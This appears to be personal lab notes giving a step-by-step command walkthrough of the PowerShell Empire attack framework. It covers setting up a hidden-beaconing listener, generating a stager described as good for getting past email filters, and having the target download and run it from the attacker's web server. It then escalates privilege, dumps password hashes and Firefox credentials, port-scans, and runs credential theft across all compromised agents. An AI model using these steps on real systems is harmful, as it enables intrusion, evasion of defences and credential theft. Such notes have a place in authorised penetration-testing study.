PowerShell Empire

Modules:

• PowerBreach: Persistence

• Posh-SecMod: Discovery

• PowerSploit: CodeEx,Keylog,etc

• PowerUp : privesc

• PowerView : Enum, includes: "Find Interesting Files"

Module Categories:

• CodeEx

• Coll

• Exfil

• Expl

• Fun

• Lateral

More Module Categories:

• Management: email/runas/hash

• Persistence: tasksched/reg/script

• Recon: Enum

• SitAwareness: scan/netstat

• Trollsploit: RickRoll fun

Getting Started

Linux:
cd /opt/empire/setup
sudo ./reset.sh   ..cleanup previous history

Normal:
sudo ./empire

agents = sessions
info = show options
listeners = multihandler

Module

searchmodule privesc
listeners
?  ..help for listeners

Listener

uselistener  ..<tab-complete>
uselistener http
info

DefaultJitter  ..give us irregular checks(to hide)
KillDate       ..quit on date
WorkingHours   ..goes silent after time
SlackChannel   ..notifs in Slack

set DefaultDelay 1   ..to make commands faster
Set Host http://10.x.x.x:8080
set Port 8080   ..quirky but helps to do both
info
?   ..help
execute
listener successfully started (like: multihandler)

listeners  ..view current listeners
.. note: could rename from 'http'

Stager

back
usestager  ..<tab-complete>

.. windows/hta   ..good to get past email filters
.. windows/macro ..good to use in Word

use stager windows/launcher_bat
info
set Listener http  ..choose our current
generate           ..created /tmp/launcher.bat

---------------------------------------------------------------
---------------------------------------------------------------
Share with Python:
python3 -m http.server

---------------------------------------------------------------
---------------------------------------------------------------
Windows/Target
Download with: Windows Powershell:

PS> cd .\Desktop\
PS> wget http://x.x.x.x:8000/launcher.bat -OutFile launcher.bat
PS> dir
PS> notepad ./launcher.bat
Desktop > Db-Click Launcher.bat

Connected

Linux: Empire now shows connected!!

agents
interact ABC123SESS
rename Agent1
info  ..hostname, user, process, etc

list listeners
list agents

Doing more

usemodule <tab>
usemodule situational_awareness/host/winenum
.. also cool: collection/FoxDump  ..firefox cred dump

searchmodule powerup
usemodule /privesc/powerup/allchecks

.. Found Unquoted service paths
.. Exe has poor perms
.. Some false-positives

Elevated Modules

back
usemodule powershell/credentials/powerdump*
* means we need higher creds

info
run   ..error, needs to run in elevated

PrivEsc Modules

back
usemodule privesc/ask  ..will prompt user to accept
.. Unless UAC is set to allow everything

set Listener http
run

agents
.. we now have * higher priv agent
rename 8VDM9S2G AgentHIGH

Powerdump

interact AgentHIGH
usemodule credentials/powerdump*
password-hashes!!

back
shell ipconfig
shell whoami

Portscan

searchmodule portscan
usemodule situational_awareness/network/portscan
info
set Hosts 10.x.x.x
run

All Agents - Powerful

usemodule powershell/credentials/powerdump
info
set Agent all   ..to run on ALL agents
execute

Cleanup

agents
kill all
listeners
kill http
exit

cd /opt/empire/downloads/
cd AgentHIGH
less agent.log  ..LOG of everything and outputs !!!!

cd /opt/empire/setup
sudo ./reset.sh   ..cleanup previous history